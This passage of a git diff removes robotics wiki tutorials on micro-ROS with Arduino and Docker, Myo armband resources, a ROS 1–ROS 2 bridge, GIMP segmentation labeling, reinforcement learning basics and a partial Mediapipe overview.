re-built/re-pulled. - -### Advanced Docker Usage - -You probably will want to use micro-ROS with your existing ROS2 workspace. To make this happen, simply use the `micro-ros-agent` as the base image in a Dockerfile to support a custom/user-defined ROS2 environment. In this case, you'll also have to source the `uros_ws` as well so that the micro-ROS packages are discovered in your ROS2 environment. - -For example, the Dockerfile could look like: -``` -# Set micro-ros-agent as base image -FROM microros/micro-ros-agent:galactic as ros_base - -# Have shells source uros_ws packages and your own packages -echo 'source /uros_ws/install/setup.bash' >> /root/.bashrc -# Export MicroROS DDS settings, assumes ROS_LOCALHOST_ONLY != 1 (from micro-ros_entrypoint.sh) -echo 'export FASTRTPS_DEFAULT_PROFILES_FILE=/tmp/disable_fastdds_shm.xml' >> /root/.bashrc - -# Source your own workspace packages -echo 'source /path/to/your/ws/install/setup.bash' >> /root/.bashrc - -# Dockerfile entrypoint goes below here -ENTRYPOINT ["/your_entrypoint.sh"] -CMD ["bash"] -``` - -## Testing the Installation - -First, we will test the installation of the precompiled micro-ROS libraries for the microcontroller. Open the Arduino IDE and navigate to `File -> Examples -> micro_ros_arduino -> micro-ros_publisher` to open up an example sketch. Connect your microcontroller to your computer and upload the sketch. If the installation was properly completed, this should compile and upload successfully. - -Next, we can initiate the micro-ROS agent to verify installation of the micro-ROS libraries onto the host computer. First check the device name by running `ls /dev`. It will typically be named something like `/dev/ttyACM0` (though if you are not sure, you can always run `ls /dev` before and after plugging in the Arduino to determine what device has changed). A more robust solution would be to utilize udev rules for consistent device naming, though this is outside the scope of this tutorial. - -Assuming a device name of `/dev/ttyACM0`, the micro-ROS agent can be initiated by running: -``` -ros2 run micro_ros_agent micro_ros_agent serial --dev /dev/ttyACM0 -v6 -``` - -The `-v6` parameter is simply for observing debug output, but can be omitted if desired. The micro-ROS agent facilitates the serial communication between the host machine and the microcontroller running micro-ROS; if the agent is successful in communicating with the microcontroller, you should see several `send_message` and `recv_message` debug messages printed to the console. If you don't see this, try hitting the reset button on the Arduino. - -Run `ros2 topic list`. You should be able to see the topic `/micro_ros_arduino_node_publisher`. Echo the topic and verify that data is being received from the microcontroller. If you've gotten this far, that means the installation was successful. Congratulations! - -NOTE: One caveat is that if the `micro_ros_agent` is killed and restarted, the host machine may stop receiving messages even if the micro-ROS application is still running on the microcontroller. If this occurs, you may need to reset/power cycle the microcontroller for those messages to begin being received again. Work-arounds for this are discussed in [Advanced: Heartbeat for Transient Connectivity](#advanced-heartbeat-for-transient-connectivity). - - -## Writing an Example micro-ROS Sketch - -Publishers and subscribers are best created using the micro-ROS object types, and can also be customized for Quality of Service settings. The best source of documentation is the [micro-ROS docs about publishers and subscribers](https://micro.ros.org/docs/tutorials/programming_rcl_rclc/pub_sub/). - -### Quick Start: Single Publisher -This starter Arduino code makes a single publisher for an Int32 message. To try it out, flash the code to a compatible microcontroller, start the agent, and then try to echo the ROS2 topic. The example is modifed from a [micro-ROS publisher demo example](https://github.com/micro-ROS/micro_ros_arduino/blob/1df47435f08b9609effaec9cb0cc99241ff9dc30/examples/micro-ros_publisher/micro-ros_publisher.ino). - - -``` -// Modified from https://github.com/micro-ROS/micro_ros_arduino/blob/1df47435f08b9609effaec9cb0cc99241ff9dc30/examples/micro-ros_publisher/micro-ros_publisher.ino -#include - -#include -#include -#include -#include -#include -#include - -#include // ROS message - -/* MicroROS declarations */ -// NUM_HANDLES must be updated to reflect total number of subscribers + publishers -#define NUM_HANDLES 1 -#define RCCHECK(fn) \ - { \ - rcl_ret_t temp_rc = fn; \ - if ((temp_rc != RCL_RET_OK)) \ - { \ - return false; \ - } \ - } - -// Declare microros objects -rclc_support_t support; -rcl_node_t node; -rcl_timer_t timer; -rclc_executor_t executor; -rcl_allocator_t allocator; -rcl_publisher_t publisher; -std_msgs__msg__Int32 msg; - -/* Callbacks */ -void timer_callback(rcl_timer_t *timer, int64_t last_call_time) -{ - (void)last_call_time; - if (timer != NULL) - { - rcl_publish(&feedback_pub, &feedback_msg, NULL); - } // if (timer != NULL) -} // timer_callback() - - -/* MicroROS functions */ -// Functions create_entities and destroy_entities can take several seconds. -// In order to reduce this rebuild the library with -// - RMW_UXRCE_ENTITY_CREATION_DESTROY_TIMEOUT=0 -// - UCLIENT_MAX_SESSION_CONNECTION_ATTEMPTS=3 - -bool create_entities() -{ - allocator = rcl_get_default_allocator(); - - // create init_options - RCCHECK(rclc_support_init(&support, 0, NULL, &allocator)); - - // create node - RCCHECK(rclc_node_init_default(&node, "arduino_interface_node", "", &support)); - - // create publisher - RCCHECK(rclc_publisher_init_default( - &publisher, - &node, - ROSIDL_GET_MSG_TYPE_SUPPORT(std_msgs, msg, Int32), - "arduino_publisher")); - - // create timer - const unsigned int timer_period_ms = 10; - RCCHECK(rclc_timer_init_default( - &timer, - &support, - RCL_MS_TO_NS(timer_period_ms), - timer_callback)); - - // create executor - executor = rclc_executor_get_zero_initialized_executor(); - RCCHECK(rclc_executor_init(&executor, &support.context, NUM_HANDLES, &allocator)); - RCCHECK(rclc_executor_add_timer(&executor, &timer)); -} - -void setup() -{ - // Initialize some micro-ROS stuff - set_microros_transports(); - - // Create the micro-ROS objects - create_entities(); -} - -void loop() -{ - // Keep publishing the message - rclc_executor_spin_some(&executor, RCL_MS_TO_NS(1)); -} -``` - -### Advanced: Heartbeat for Transient Connectivity - -You may or may not have transient connections between the microcontroller and the host computer. For example, you may want to stop the `agent` on the host computer but still re-connect to the `node` on the microcontroller. - -If the connection between the node and agent is broken, you will need to reset the node on the microcontroller *while* the `agent` is running. I.e. start the `agent`, then restart the `node`. Restarting the `node` can be done in hardware, such as through power cycling the microcontroller, or in software, such as through a "heartbeat" monitor. - -Below is starter Arduino code built on a single publisher as modified from a [micro-ROS reconnection example](https://github.com/micro-ROS/micro_ros_arduino/blob/galactic/examples/micro-ros_reconnection_example/micro-ros_reconnection_example.ino). All of the heartbeat logic is handled in the `loop()` function by pinging for the `agent` and re-starting the `node` as needed (note the `destroy_entities()` function). Note that a few extra lines are included for red and green led output to indicate what mode the heartbeat is in: either it is searching for a connection (blinking red) or it has an active connection (green). - -``` -// Modified from https://github.com/micro-ROS/micro_ros_arduino/blob/galactic/examples/micro-ros_reconnection_example/micro-ros_reconnection_example.ino -#include - -#include -#include -#include -#include -#include -#include - -#include // ROS message - -/* MicroROS declarations */ -// NUM_HANDLES must be updated to reflect total number of subscribers + publishers -#define NUM_HANDLES 1 -#define LED_PIN 13 // LED pin for debugging heartbeat connection, recommended color = red (significes no connection to agent) -#define CONN_PIN 12 // LED pin for debugging heartbeat connection, recommended color = green (signifies active connection to agent) - -#define RCCHECK(fn) \ - { \ - rcl_ret_t temp_rc = fn; \ - if ((temp_rc != RCL_RET_OK)) \ - { \ - return false; \ - } \ - } - -// Declare microros objects -rclc_support_t support; -rcl_node_t node; -rcl_timer_t timer; -rclc_executor_t executor; -rcl_allocator_t allocator; -rcl_publisher_t publisher; -std_msgs__msg__Int32 msg; - -bool micro_ros_init_successful; // For heartbeat - -/* Callbacks */ -void timer_callback(rcl_timer_t *timer, int64_t last_call_time) -{ - (void)last_call_time; - if (timer != NULL) - { - rcl_publish(&feedback_pub, &feedback_msg, NULL); - } // if (timer != NULL) -} // timer_callback() - - -/* MicroROS functions */ -// Functions create_entities and destroy_entities can take several seconds. -// In order to reduce this rebuild the library with -// - RMW_UXRCE_ENTITY_CREATION_DESTROY_TIMEOUT=0 -// - UCLIENT_MAX_SESSION_CONNECTION_ATTEMPTS=3 - -bool create_entities() -{ - allocator = rcl_get_default_allocator(); - - // create init_options - RCCHECK(rclc_support_init(&support, 0, NULL, &allocator)); - - // create node - RCCHECK(rclc_node_init_default(&node, "arduino_interface_node", "", &support)); - - // create publisher - RCCHECK(rclc_publisher_init_default( - &publisher, - &node, - ROSIDL_GET_MSG_TYPE_SUPPORT(std_msgs, msg, Int32), - "arduino_publisher")); - - // create timer - const unsigned int timer_period_ms = 10; - RCCHECK(rclc_timer_init_default( - &timer, - &support, - RCL_MS_TO_NS(timer_period_ms), - timer_callback)); - - // create executor - executor = rclc_executor_get_zero_initialized_executor(); - RCCHECK(rclc_executor_init(&executor, &support.context, NUM_HANDLES, &allocator)); - RCCHECK(rclc_executor_add_timer(&executor, &timer)); - - micro_ros_init_successful = true; // For heartbeat -} - -void destroy_entities() -{ - rcl_publisher_fini(&feedback_pub, &node); - rcl_node_fini(&node); - rcl_timer_fini(&timer); - rclc_executor_fini(&executor); - rclc_support_fini(&support); - - micro_ros_init_successful = false; -} - -void setup() -{ - // Initialize some micro-ROS stuff - set_microros_transports(); - - // LED pins for debugging heartbeat connection - pinMode(LED_PIN, OUTPUT); // Use a resistor with the LED - digitalWrite(LED_PIN, HIGH); - - pinMode(CONN_PIN, OUTPUT); // Use a resistor with the LED - digitalWrite(CONN_PIN, LOW); - - // Create the micro-ROS objects - create_entities(); - - // For heartbeat - micro_ros_init_successful = false; -} - -uint32_t delay_ms = 500; // short delay to blink the LED_PIN while trying to connect -void loop() -{ - // Keep trying to connect by pinging the MicroROS agent - if (RMW_RET_OK == rmw_uros_ping_agent(50, 2)) - { - // Use flag to see if entities need to be created - if (!micro_ros_init_successful) - { - create_entities(); - } - else - { - // Main loop to run the MicroROS node - digitalWrite(CONN_PIN, HIGH); // Green LED on - digitalWrite(LED_PIN, LOW); // Red LED off - rclc_executor_spin_some(&executor, RCL_MS_TO_NS(1)); // Publish the message - } - } - else - { - // Destroy entities if there is not connection to the agent - if (micro_ros_init_successful) - { - destroy_entities(); - digitalWrite(CONN_PIN, LOW); // Green LED off - } - digitalWrite(LED_PIN, !digitalRead(LED_PIN)); // Blink red LED while trying to connect - delay(delay_ms); - } -} -``` - -## See Also: -- [Docker](https://roboticsknowledgebase.com/wiki/tools/docker/) -- [ROS Arduino Interface](https://roboticsknowledgebase.com/wiki/common-platforms/ros/ros-arduino-interface/) (If using ROS1 as opposed to ROS2) -- [udev Rules](https://roboticsknowledgebase.com/wiki/tools/udev-rules/) - - -/wiki/interfacing/myo/ ---- -date: 2017-08-21 -title: Getting Started with the Myo ---- -Here are some resources that are useful if you want to get started quickly with the [Myo Gesture Control Armband](https://www.myo.com/). The learning curve is not too steep if you want to make simple apps. It should take you just a couple of days (maybe even less) to get working. However, if you wish to work on more complex problems, the Lua environment used for Myo scripting will not be enough. If you have never worked with APIs before it will add more steepness to your learning curve. I have tried to find as many resources as possible and have structured them in the best way I could here. The lists here are by no means exhaustive but is meant to serve as a reference after you get acquainted with the basics. - -## Lua Basics -The following links are meant to teach you everything from scratch. Myo uses the Lua scripting language which is quite easy to learn if you have worked with JavaScript before. If you have not I would suggest using one of the following links to make yourself familiar with Lua first (don't worry it's fairly easy): - -Lua Tutorials -NOTE: List not exhaustive. - -1. [The Lua Users Wiki](http://lua-users.org/wiki/LuaDirectory) -This site is very oddly structured but has some great content if you can figure how to find it. -2. [Lua Tutorial Series by TheCoolSquare](https://www.youtube.com/watch?v=dA9tcPeZa8k&list=PL5D2E7A4DD535E276) -Nothing teaches better than a video tutorial and these seem to be the most popular ones. -3. [The Official Lua Reference Manual](http://www.lua.org/manual/5.3/) -This by far is the best and the most exhaustive resource if you know the basics. - -## Myo Basics -All of the following 6 links are available on the Myo's public forum but they are lost among hundreds of other blog posts. They are listed here along with a brief description of what you may expect to learn from each one of them. - -1. [Setup and Getting Started](http://developerblog.myo.com/getting-started-myo-scripts-part-1/) -This takes you through the setup procedure and gets you started with the development environment. -2. [Programming with the API](http://developerblog.myo.com/getting-started-myo-scripts-part-2/) -If you have never worked with an API before, I hope this will ease you into it. -3. [Accessing the Data](http://developerblog.myo.com/getting-started-myo-scripts-part-3/) -This is how you start manipulating the gestures -4. [Keyboard Integration](http://developerblog.myo.com/getting-started-myo-scripts-part-4/) -Continuation of the API, but of limited value. -5. [Remaining Functions](http://developerblog.myo.com/getting-started-myo-scripts-part-5/) -This explains some of the functions that are not covered above. -6. [Combining Everything Together](http://developerblog.myo.com/getting-started-myo-scripts-part-6/) -Tutorial on combining the above components. - -If you went through everything above while implementing it on your own, you are all set to make simple apps that can do anything from controlling your favorite music player to using your hand as a mouse. Now move on to the next part now. - -## Advanced: Complete API Reference and Wrappers -If you are an experienced software programmer and have worked with APIs before (or you completed the basics section above) you can directly use [this for the complete API reference](https://developer.thalmic.com/docs/api_reference/platform/index.html). This not only contains all the API information but also has some demo programs to get you started. If you freak out at the prospect of writing hundreds of lines of code, I'd suggest downloading these samples and modifying them to build your applications. It's really fun that way. - -You will soon realize that working with Lua is extremely useless as it does not give you the power to build bigger applications like Python or Java. For all those purposes, here is a list of all bindings in every language I could find. All of these are Github repositories and this is what will make your life easier and working with Myo real fun. There are many more out there somewhere but I have only listed the ones I have tried out myself and am sure worked properly at least at the time of writing this. I would suggest using Python if you have the option simply because I used it and most people I met in the forums used it too and also because it is really well written out. Some of these are by developers at Thalmic Labs. Most of the following contain all the examples available on the official website to help you get started. Again, if you don't want to write from scratch just modify the examples and build upon them. - -- [Python](https://github.com/NiklasRosenstein/myo-python) Well documented -- [.JS](https://github.com/thalmiclabs/myo.js) -- [C#](https://github.com/tayfuzun/MyoSharp) -- [Unreal Engine](https://github.com/getnamo/myo-ue4) -- [Linux](https://github.com/freehaha/myo4l) -- [Java](https://github.com/NicholasAStuart/myo-java) -- [.NET](https://github.com/rtlayzell/Myo.Net) -- [Ruby](https://github.com/uetchy/myo-ruby) -- [ROS](https://github.com/roboTJ101/ros_myo) - - -/wiki/interfacing/ros1-ros2-bridge/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2023-05-03 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: ROS 1 - ROS 2 Bridge -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- -ROS 2 is widely used nowadays due to its better security features and code organization. A lot of standard and important ROS 1 packages, though, have not yet been ported to ROS 2 or just are more stable in ROS 1, for example, rosserial, husky-base. The [ROS 1 bridge](https://github.com/ros2/ros1_bridge) allows having ROS 1 and ROS 2 on the same network and bridging topics to communicate between the two. This wiki entry includes a tutorial to set up the ros1-bridge package and cover dynamic and static bridges, including good practices for sourcing. - -## Conceptual Overview -### ROS 1 - ROS 2 Bridge -The [ROS 1 bridge](https://github.com/ros2/ros1_bridge) is a ROS 2 package that provides nodes to bridge topics between ROS 1 and ROS 2. A point to be noted here is that bridging is only available on Ubuntu 20.04, as this distribution is the only one that supports both ROS 1 Noetic and ROS 2 Foxy. This package is capable of bridging the stantard ROS interfaces (messages/services) listed in the [ros2/common_interfaces](https://github.com/ros2/common_interfaces) repository. To use the bridge with custom message types, the package needs to be build from source, and the custom types should also be sourced in seperate ROS 1 and ROS 2 workspaces. Services need to be bridged explicitly between ROS 2 and ROS 1, and ROS 1 and ROS 2. - -![ROS 1 - ROS 2 Bridge Setup](/assets/images/interfacing/ros-bridge.png) - -### Installation: -Installation instructions are provided in the [ROS 1 bridge](https://github.com/ros2/common_interfaces) repository README. Note that you need to have both ROS 1 Noetic and ROS 2 Foxy installed in the system. There are 2 main ways to install the bridge: -1. Install pre-built binaries - ```sh - sudo apt install ros-foxy-ros1-bridge - ``` -2. Build from source - - - Build everything except ROS 1 bridge: - ```sh - colcon build --symlink-install --packages-skip ros1_bridge - ``` - - Source ROS 1 instal - ```sh - source /opt/ros/noetic/setup.bash - ``` - - Source ROS 2 install - ```sh - source /opt/ros/foxy/setup.bash - ``` - - Build the ROS 1 bridge - ``` sh - colcon build --symlink-install --packages-select ros1_bridge --cmake-force-configure - ``` - -**NOTE:**
-It is a good practice to not keep any ROS 1 or ROS 2 installation sourced by default. Instead, we can set aliases in our .bashrc file to source the ROS 1 or ROS 2 installation when needed. Add the following lines to your .bashrc file: -```sh -alias sr1='source /opt/ros/noetic/setup.bash' -alias sr2='source /opt/ros/foxy/setup.bash' -``` -Then, to source ROS 1, type `sr1` in the terminal, and to source ROS 2, type `sr2` in the terminal. This way, we can avoid conflicts between ROS 1 and ROS 2 installations. - -### Types of Bridges -There are two types of bridges available: - -1. **Dynamic Bridge**: -This is a dynamic bridge option that straightaway bridges all topics between ROS 1 and ROS 2. This is the easiest way to get started with the bridge. This approach works well for small projects, but for larger projects, it is recommended to use the static bridge, as bridging all topics adds a lot of overhead to the system. This bridge can be launched directly with the following command: - ```sh - ros2 run ros1_bridge dynamic_bridge --bridge-all-topics - ``` - -2. **Static Bridge**: -This option bridges topics and services specified by a yaml file. An example yaml file is shown below: - ```yaml - topics: - - - topic: /name - type: std_msgs/msg/String - queue_size: 1 - - services_2_to_1: - - - service: /add_two_ints # ROS 1 service name - type: roscpp_tutorials/TwoInts # The ROS 1 service name - - services_1_to_2: - - - service: /add_two_ints # ROS 2 service name - type: example_interfaces/srv/AddTwoInts # The ROS 2 service name - ``` - Configure the topics to build and save the .yaml file as `bridge.yaml`. Then assuming you hase set the aliases properly in your .bashrc file, run the following command: - ```sh - sr1 && rosparam load //bridge.yaml && sr2 && ros2 run ros1_bridge parameter_bridge - ``` - - -### Setting up the bridge in Docker -Docker containers are powerful tools to use while developing software because they allow hardware agnostic development. The official ros docker image is available with the bridge already preconfigured. Here is an example docker file -```Dockerfile -FROM ros:foxy-ros1-bridge-focal - -RUN apt update - -# Link to allow sourcing -RUN rm /bin/sh && ln -s /bin/bash /bin/sh - -# Alias for sourcing -# sr1 -> source ros 1, sr2 -> source ros 2 -RUN echo "alias sr1='source /opt/ros/noetic/setup.bash'" >> ~/.bashrc -RUN echo "alias sr2='source /opt/ros/foxy/setup.bash" >> ~/.bashrc - -# Example building ROS 1 workspace in dockerfile -RUN cd ~/ros1_ws; source /opt/ros/noetic/setup.bash; catkin_make - -# Example building ROS 2 workspace in dockerfile -RUN cd ~/ros2_ws; source /opt/ros/foxy/setup.bash; colcon build - -CMD ["bash"] -``` - -We recommend creating two small scripts to run the docker container and attach a terminal to a docker container. This setup assumes the following folder structure: -``` -root -- run_docker.sh -- terminal_docker.sh -- ros1_ws - - src -- ros2_ws - - src -``` - -1. A script to run the docker container with display attached, network mode host to communicate over host network devices, and ROS 1 and ROS 2 src files code mounted. It assumes the following code structure:
- `run_docker.sh`
- ```sh - xhost +local:root - docker container prune -f - docker run --privileged --rm -it \ - --name="image_name" \ - --env="DISPLAY=$DISPLAY" \ - --env="QT_X11_NO_MITSHM=1" \ - --volume="/tmp/.X11-unix:/tmp/.X11-unix:rw" \ - --volume="$XAUTH:$XAUTH" \ - -v /dev:/dev \ - -v $(pwd)/ros1_ws/src:/home/ros1_ws/src \ - -v $(pwd)/ros2_ws/src:/home/ros2_ws/src \ - -t \ - image_name \ - bash \ - ``` -2. A script to attach a given terminal to the running docker container.
-`terminal_docker.sh`
- ```sh - docker exec -it image_name bash - ``` - Whenever you attach to a terminal, you can type `sr1` or `sr2` to source ROS 1 or ROS 2 respectively. These aliases can also be used inside startup scripts to run nodes from the ROS 1 or ROS 2 workspace. - -## References -- [ROS1 Bridge documentation](https://github.com/ros2/ros1_bridge) diff --git a/wiki/machine-learning/__all_subsections.md b/wiki/machine-learning/__all_subsections.md deleted file mode 100644 index 0a025aed..00000000 --- a/wiki/machine-learning/__all_subsections.md +++ /dev/null @@ -1,1359 +0,0 @@ -/wiki/machine-learning/custom-semantic-data/ ---- -date: 2020-04-10 -title: Custom data-set for segmentation -published: true ---- -Image segmentation can be useful in a lot of cases, for example, suppressing pedestrains, cars for your SLAM system so the extracted features belong to static scene only. This tutorial covers the procedure to create annotations for semantic segmentation task. This is useful when you want to outsource the labeling tasks to external companies because guidelines and examples are usually required in such scenario. Specifically, GIMP (GNU Image Manipulation Program version 2.8.22) on Ubuntu (16.04 for this tutorial) will be used to do the annotating task. - -## Example of segmented images -Below is an example of annotated image and it's original RGB image. Three classes: fungus (annotated red), holes (annotated green) and background (annotated black) are presented here. Although it's common to use gray image with pixel value corresponding to 0 - 255, using a color annotation makes it much easier to visualize the annoation. The conversion from color to class labels can be easily done when the actual training is performed e.g. a mapping from RGB tuple to integers. - -### Example code for converting RGB tuple to integer -``` -color_of_interest = [ - (0, 0, 0), - (255, 0, 0), - (0, 255, 0)] -class_map = dict(zip(self.color_of_interest, range(3))) - -def encode_segmap(self, mask): - for color in self.color_of_interest: - mask[ (mask[:,:,0] == color[0]) &\ - (mask[:,:,1] == color[1]) &\ - (mask[:,:,2] == color[2]) ] = class_map[color] - return mask[:, :, 0] # target should be h x w, no depth -``` - -![mask annotation](/assets/images/machine-learning/mask_annotation.png) - -## Installing gimp -copy and paste the following command in your terminal to install gimp -``` -sudo apt-get update -sudo apt-get install gimp -``` - -## Procedure to annotate an image -### Step 1 Load image -Navigate to file->open botton on the top left to open a rgb image that you'd like to annotate - -### Step 2 Create mask -Navigate to layer->new layer to create a mask over your image. Choose Foreground color will create a black layer over your image. You can also change the foreground color on the left panel before you create a new layer, this will give you a layer with different color (which would corresponds to background in this tutorial) - -![mask annotation](/assets/images/machine-learning/new_layer.png) - -After creating new layer, you will see your newly created layer on the right panel. Click on the eye symbol and make the layer invisible. - -![manage layers](/assets/images/machine-learning/manage_layers.png) - -### Step 3 Creating annotations -Select the free select tool on the left panel. **IMPORTANT:** Uncheck the anti-aliasing option, otherwise non-solid colors will appear at the edge of your annotations. Select the region of interest, and then use bucket fill tool to fill in color annotation. Click on the eye symbol again on the right panel will show you the annotated layer. - -![free select tool](/assets/images/machine-learning/select_tool.png) -![create annotation](/assets/images/machine-learning/bucket_fill.png) - -### Step 4 Saving files -Hit ctrl+E to export your layer as an png image, which is your label for this image. Hit ctrl+S to save the gimp file as .xcf file. This step is important if you want to modify your annotation in the future. - -## See Also: -- Semantic segmented images are sufficient for many architectures e.g. Unet, but if you'd like to work with Mask-RCNN, a .json file is required for training. Here's a [decent tutorial](http://www.immersivelimit.com/tutorials/create-coco-annotations-from-scratch) - - -/wiki/machine-learning/intro-to-rl/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2020-12-06 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Introduction to Reinforcement Learning -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. - ---- -The goal of Reinforcement Learning (RL) is to learn a good strategy for the agent from experimental trials and relative simple feedback received. With the optimal strategy, the agent is capable to actively adapt to the environment to maximize future rewards. - -## Key Concepts - -### Bellman Equations - -Bellman equations refer to a set of equations that decompose the value function into the immediate reward plus the discounted future values. -$$\begin{aligned} - V(s) &= \mathbb{E}[G_t | S_t = s]\\ - &= \mathbb{E}[R_{t+1} + \gamma V(S_{t+1})|S_t = s)]\\ - Q(s,a)&=\mathbb{E}[R_{t+1} + \gamma V(S_{t+1}) | S_t = s, A_t = a] -\end{aligned}$$ - -#### Bellman Expectation Equations - -$$\begin{aligned} - V_{\pi}(s) &= \sum_a \pi(a|s)\sum_{s',r} p(s', r | s, a)[r + \gamma V_{\pi}(s')]\\ - Q_\pi(s, a) &= \sum_{s'}\sum_{r}p(s', r | s, a)[r +\gamma\sum_{a'}\pi(a', s')Q_\pi(s', a')] -\end{aligned} -$$ - -#### Bellman Optimality Equations - -$$\begin{aligned} - V_*(s) &= \max_{a}\sum_{s'}\sum_{r}p(s', r | s, a)[r + \gamma V_*(s')]\\ - Q_*(s,a) &= \sum_{s'}\sum_{r}p(s', r | s, a)[r +\gamma\max_{a'}Q_*(s', a')] -\end{aligned} $$ - -## Approaches - -### Dynamic Programming - -When the model of the environment is known, following Bellman equations, we can use Dynamic Programming (DP) to iteratively evaluate value functions and improve policy. - -#### Policy Evaluation - -$$ -V_{t+1} = \mathbb{E}[r+\gamma V_t(s') | S_t = s] = \sum_a\pi(a|s)\sum_{s', r}p(s', r|s,a)(r+\gamma V_t(s')) -$$ - -#### Policy Improvement - -Given a policy and its value function, we can easily evaluate a change in the policy at a single state to a particular action. It is a natural extension to consider changes at all states and to all possible actions, selecting at each state the action that appears best according to $q_{\pi}(s,a).$ In other words, we make a new policy by acting greedily. - -$$ -Q_\pi(s, a) = \mathbb{E}[R_{t+1} + \gamma V_\pi(S_{t+1}) | S_t = s, A_t = a] = \sum_{s', r} p(s', r|s, a)(r+\gamma V_\pi (s')) -$$ - -#### Policy Iteration - -Once a policy, $\pi$, has been improved using $V_{\pi}$ to yield a better policy, $\pi'$, we can then compute $V_{\pi}'$ and improve it again to yield an even better $\pi''$. We can thus obtain a sequence of monotonically improving policies and value functions: -$$\pi_0 \xrightarrow{E}V_{\pi_0}\xrightarrow{I}\pi_1 \xrightarrow{E}V_{\pi_1}\xrightarrow{I}\pi_2 \xrightarrow{E}\dots\xrightarrow{I}\pi_*\xrightarrow{E}V_{\pi_*}$$ -where $\xrightarrow{E}$ denotes a policy evaluation and $\xrightarrow{I}$ denotes a policy improvement. - -### Monte-Carlo Methods -Monte-Carlo (MC) methods require only experience --- sample sequences of states, actions, and rewards from actual or simulated interaction with an environment. It learns from actual experience without no prior knowledge of the environment's dynamics. To compute the empirical return $G_t$, MC methods need to learn complete episodes $S_1, A_1, R_2, \dots, S_T$ to compute $G_t = \sum_{k=0}^{T-t-1}\gamma^kR_{t+k+1}$ and all the episodes must eventually terminate no matter what actions are selected. - -The empirical mean return for state $s$ is: -$$V(s)=\frac{\sum_{t=1}^T\mathbf{1}[S_t=s]G_t}{\sum_{t=1}^T\mathbf{1}[S_t = s]}$$ -Each occurrence of state $s$ in an episode is called a visit to $s$. We may count the visit of state $s$ every time so that there could exist multiple visits of one state in one episode ("every-visit"), or only count it the first time we encounter a state in one episode ("first-visit"). In practical, first-visit MC converges faster with lower average root mean squared error. A intuitive explanation is that it ignores data from other visits to $s$ after the first, which breaks the correlation between data resulting in unbiased estimate. - -This way of approximation can be easily extended to action-value functions by counting $(s, a)$ pair. -$$Q(s,a) = \frac{\sum_{t=1}^T\mathbf{1}[S_t = s, A_t = a]G_t}{\sum_{t=1}^T[S_t = s, A_t =a]}$$ -To learn the optimal policy by MC, we iterate it by following a similar idea to Generalized Policy iteration (GPI). - -1. Improve the policy greedily with respect to the current value function: $$\pi(s) = \arg\max_{a\in A}Q(s,a)$$ - -2. Generate a new episode with the new policy $\pi$ (i.e. using algorithms like $\epsilon$-greedy helps us balance between exploitation and exploration) - -3. Estimate $Q$ using the new episode: $$q_\pi(s, a) = \frac{\sum_{t = 1}^T(\mathbf{1}[S_t = s, A_t = a]\sum_{k = 0}^{T-t-1}\gamma^kR_{t+k+1})}{\sum_{t=1}^T\mathbf{1}[S_t = s, A_t = a]}$$ - -### Temporal-Difference Learning - -Temporal-difference (TD) learning is a combination of Monte Carlo ideas and dynamic programming (DP) ideas. Like Monte Carlo methods, TD methods can learn from raw experience without a model of the environment's dynamics. Like DP, TD methods update estimates based in part on other learned estimates, without waiting for a final outcome (they bootstrap). -Similar to Monte-Carlo methods, Temporal-Difference (TD) Learning is model-free and learns from episodes of experience. However, TD learning can learn from incomplete episodes. -$$Q(s, a) = R(s,a) + \gamma Q^\pi(s',a')$$ - -#### Comparison between MC and TD} - -MC regresses $Q(s,a)$ with targets $y = \sum_i r(s_i, a_i)$. Each rollout has randomness due to stochasticity in policy and environment. Therefore, to estimate $Q(s,a)$, we need to generate many trajectories and average over such stochasticity, which is a high variance estimate. But it is unbiased meaning the return is the true target. - -TD estimates $Q(s,s)$ with $y = r(s,a)+\gamma Q^\pi(s',a')$, where $Q^\pi(s',a')$ already accounts for stochasticity of future states and actions. Thus, the estimate has lower variance meaning it needs fewer samples to get a good estimate. But the estimate is biased: if $Q(s', a')$ has approximation errors, the target $y$ has approximation errors; this could lead to unstable training due to error propagation. - -#### Bootstrapping - -TD learning methods update targets in the following equation with regard to existing estimates rather than exclusively relying on actual rewards and complete returns as in MC methods in Equation (\ref{eq:9}). This approach is known as bootstrapping. -$$ -\begin{aligned} -V(S_t) &\leftarrow V(S_t) +\alpha[G_t - V(S_t)]\\ -V(S_t) &\leftarrow V(S_t) +\alpha[R_{t+1} +\gamma V(S_t) - V(S_t)] -\end{aligned} -$$ - -## Summary - -Here are some simple methods used in Reinforcement Learning. There are a lot of fancy stuff, but due to limited pages, not included here. Feel free to update the wiki to keep track of the latest algorithms of RL. - -## See Also: - - - -## Further Reading - -- Introduction to Reinforcement Learning, MIT Press - -## References - -Kaelbling, Leslie Pack, Michael L. Littman, and Andrew W. Moore. "Reinforcement learning: A survey." Journal of artificial intelligence research 4 (1996): 237-285. - -/wiki/machine-learning/mediapipe-live-ml-anywhere/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2022-05-02 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Mediapipe - Live ML Anywhere -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- - -## Introduction - What is Mediapipe? - -MediaPipe offers cross-platform, customizable ML solutions for live and streaming media. With common hardware, Mediapipe allows fast ML inference and processing. With Mediapipe, you can deploy the solutions anywhere, on Android, iOS, desktop/cloud, web and IoT platforms. The advantage of Mediapipe is that you get cutting-edge ML solutions that are free and open source. - -## Solutions offered - -![Figure 1. Mediapipe Solutions](/assets/images/machine-learning/mediapipe_solutions.png) -The image above summarizes the solutions offered by mediapipe. -The solutions below have been classified into 2 categories based on the use cases: - -Following are the solutions offered for the detection of humans and their body parts: -1. Face detection -MediaPipe Face Detection is an ultra-fast face detection solution that comes with 6 landmarks and multi-face support. - -2. FaceMesh -MediaPipe Face Mesh is a solution that estimates 468 3D face landmarks in real-time even on mobile devices. - -3. Mediapipe Hands -MediaPipe Hands is a high-fidelity hand and finger tracking solution. It employs machine learning (ML) to infer 21 3D landmarks of a hand from just a single frame. - -4. MediaPipe Pose -MediaPipe Pose is an 